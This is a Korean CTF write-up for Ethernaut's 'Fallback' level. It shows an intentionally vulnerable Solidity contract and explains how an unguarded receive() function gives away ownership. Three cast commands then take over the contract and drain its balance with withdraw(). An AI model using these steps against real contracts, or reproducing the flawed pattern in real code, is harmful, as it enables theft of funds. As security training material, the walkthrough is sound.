> For the complete documentation index, see [llms.txt](https://whs3-doge5k.gitbook.io/smartcontract-security-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://whs3-doge5k.gitbook.io/smartcontract-security-docs/ethernaut/1.-fallback.md).

# 1. Fallback

\#receive

> 아래에 주어진 컨트랙트 코드를 주의 깊게 살펴보세요.
>
> 이 레벨을 클리어하려면 다음 두 가지 조건을 모두 만족해야 합니다:
>
> 1. 해당 컨트랙트의 소유권을 획득하는 경우
>
> 2. 컨트랙트의 잔액을 0으로 줄이는 경우
>
> 힌트 사항은 아래와 같습니다.
>
> * ABI를 통해 이더를 전송하는 방법
> * ABI 외부에서 이더를 전송하는 방법
> * wei와 ether 단위 간의 변환 (콘솔에서 `help()`명령어 참고)
> * Fallback 함수의 작동 방식

***

### **원본 소스 코드**

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
    mapping(address => uint256) public contributions;
    address public owner;

    constructor() {
        owner = msg.sender;
        contributions[msg.sender] = 1000 * (1 ether);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function contribute() public payable { // [1]
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;
        }
    }

    function getContribution() public view returns (uint256) {
        return contributions[msg.sender];
    }

    function withdraw() public onlyOwner {
        payable(owner).transfer(address(this).balance);
    }

    receive() external payable { // [2]
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = msg.sender;
    }
}
```

```
[1] : 이더를 보내 contribution에 등록할 수 있음

[2] : 이더를 한번 더 보내 owner 권한을 가져올 수 있음
```

***

### **공격 시나리오**

Fallback 컨트랙트의 owner가 될 수 있는 방법은 두 가지가 있다.

* **contribute 함수 호출**
* **receive 함수 호출**

```solidity
function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if (contributions[msg.sender] > contributions[owner]) {
        owner = msg.sender;
    }
}
```

contribute 함수를 호출하여 owner가 되기 위해서는.. 0.001보다 작은 ether를 1,111,112번 보내면 해당 컨트랙트의 owner가 될 수 있다.

0.001보다 작은 ether를 보내면 **contributions 매핑에 등록**이 되지만, 1,000 ether도 없고, 백만번 호출하는 것은 문제의 취지에 맞지 않기 때문에 다른 방법을 찾아야 한다.

```solidity
receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
}
```

대신에 receive 함수를 호출하면 해당 컨트랙트의 owner가 될 수 있다. 단, owner가 되기 위해서는 msg.value가 0보다 크고, msg.sender가 contribution 매핑에 등록되어 있어야 한다.

이전에 봤던 contribute 함수에서 owner 권한을 가져올 수 없지만, contribution 매핑에 주소를 등록시켜주는 로직이 있었기 때문에 해당 함수를 통해 먼저 ether를 보내고 receive 함수를 실행시키면 문제 목표 1번(컨트랙트의 owner 권한 획득하기)를 진행시킬 수 있다.

마지막으로 owner 권한을 획득하고, 최종적으로 withdraw 함수를 호출하여 목표 조건을 모두 만족시킬 수 있다.

***

### &#x20;공격 코드

```bash
cast send {Instance 주소} “contribute()” —value 0.0001ether —rpc-url {rpc url} —private-key {개인키}
```

* contribute 함수를 실행하여 contributions 매핑을 실행시킴
* receive 함수의 contributions\[msg.sender] > 0 조건을 만족시키기 위해 실행

```bash
cast send {Instance 주소} —value 0.0001ether —rpc-url {rpc url} —private-key {개인키}
```

* msg.value > 0 조건을 만족시키며 컨트랙트의 owner 권한을 가져옴

```bash
cast send {Instance 주소} “withdraw()” —rpc-url {rpc url} —private-key {개인키}
```

* Eth 인출

<figure><img src="https://3512650551-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FvLae9iTcYKyLdHhMtRVd%2Fuploads%2FjWVc8QqmHJPBP5nv7njF%2Fethernaut1-5.png?alt=media&amp;token=b01692f1-8079-43dd-8d97-22e9fb5e2776" alt=""><figcaption></figcaption></figure>
